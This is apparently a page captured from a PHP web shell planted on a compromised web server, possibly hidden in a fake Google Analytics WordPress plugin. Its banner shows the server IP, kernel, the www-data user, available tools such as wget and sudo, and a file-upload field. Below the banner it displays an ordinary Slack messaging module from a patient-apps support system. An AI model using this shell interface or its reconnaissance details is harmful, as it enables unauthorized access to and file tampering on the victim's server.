Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/patientapps_support/modules/slack/ |
Upload File : |
<?php
namespace modules\slack;
use JoliCode\Slack\Api\Model\ApiTestGetResponse200;
use JoliCode\Slack\Api\Model\ObjsUser;
use JoliCode\Slack\ClientFactory;
class main extends \moduleMain {
private $users;
public function __construct() {
parent::__construct(__DIR__);
}
public function Activate() {
// $this->module_name = $module_name;
hook_add('filter.channel', [$this, '__filter_channel']);
hook_add('filter.user', [$this, '__filter_user']);
hook_add('system.message', [$this, '__send_message']); // $isSent = boolean, $params = [ 'subject' => , 'body' => ]; // changes to TRUE if recognized and sent
}
final function test() {
header('Content-type: text/plain');
$x = $GLOBALS['loader']->LoadModuleSettings(__FILE__);
$id = isset($this->settings) && !empty($this->settings['accesstoken']) ? $this->settings['accesstoken'] : '';
$name = isset($this->settings) && !empty($this->settings['name']) ? $this->settings['name'] : 'a-slack-bot';
$channel = isset($this->settings) && !empty($this->settings['channel']) ? $this->settings['channel'] : 'general';
if ($id == '') {
return ['body' => 'Access token not specified'];
}
$client = ClientFactory::create($id);
$result = $client->chatPostMessage([
'username' => $name,
'channel' => $channel,
'text' => 'Hello world',
]);
if ($result->getOk()) {
return ['body' => 'Message sent.'];
} else {
return ['body' => 'Failed to send the message.'];
}
}
public function __send_message(&$sent, $params) {
if (!$sent) {
$x = $GLOBALS['loader']->LoadModuleSettings(__FILE__);
$id = isset($this->settings) && !empty($this->settings['accesstoken']) ? $this->settings['accesstoken'] : '';
$name = isset($this->settings) && !empty($this->settings['name']) ? $this->settings['name'] : 'a-slack-bot';
$channel = isset($this->settings) && !empty($this->settings['channel']) ? $this->settings['channel'] : 'general';
$user = isset($this->settings) && !empty($this->settings['user']) ? $this->settings['user'] : '';
if ($id != '') {
$client = ClientFactory::create($id);
// $message = " *{$params['subject']}* <me>\n```{$params['body']}```"; // "@channel" here was not interpreted as @channel
$message = " *{$params['subject']}*\n```{$params['body']}```"; // "@channel" here was not interpreted as @channel
$message = str_replace(['<', '>', '&'], ['<', '>', '&'], $message);
$message = str_replace('<me>', "<@{$user}>", $message);
// $message = "<@$channel>" . $message;
// $message = str_replace('@channel', '<@channel>', $message);
$result = $client->chatPostMessage([
'username' => $name,
// 'channel' => $channel,
'channel' => $user,
'mrkdwn' => TRUE,
'text' => $message,
]);
$sent = $result->getOk();
}
}
}
protected function GetUsers($client) {
$users = [];
$cursor = '';
do {
// This method require your token to have the scope "users:read"
$response = $client->usersList([
'limit' => 200,
'cursor' => $cursor,
]);
if ($response->getOk()) {
$users = array_merge($users, $response->getMembers());
$cursor = $response->getResponseMetadata() ? $response->getResponseMetadata()->getNextCursor() : '';
} else {
return FALSE;
}
} while (!empty($cursor));
$result = [];
foreach($users as $item) {
$result[] = [
'key' => $item->getId(),
'value' => $item->getName()
];
}
return $result;
}
public function __filter_channel(&$result) {
$id = isset($this->settings) && !empty($this->settings['accesstoken']) ? $this->settings['accesstoken'] : '';
if ($id == '') return;
$client = ClientFactory::create($id);
$channelsResponse = $client->channelsList();
$channels = $channelsResponse->getChannels();
// var_dump($channels);
foreach($channels as $channel) {
$name = $channel->getName();
$id = $channel->getId();
$result[] = [
'key' => $id,
'value' => $name,
];
}
$this->users = $this->GetUsers($client);
}
public function __filter_user(&$result) {
$id = isset($this->settings) && !empty($this->settings['accesstoken']) ? $this->settings['accesstoken'] : '';
if ($id == '') return;
$temp = [ ['key' => '', 'value' => '' ]];
$result = array_merge($result, $temp, $this->users);
}
}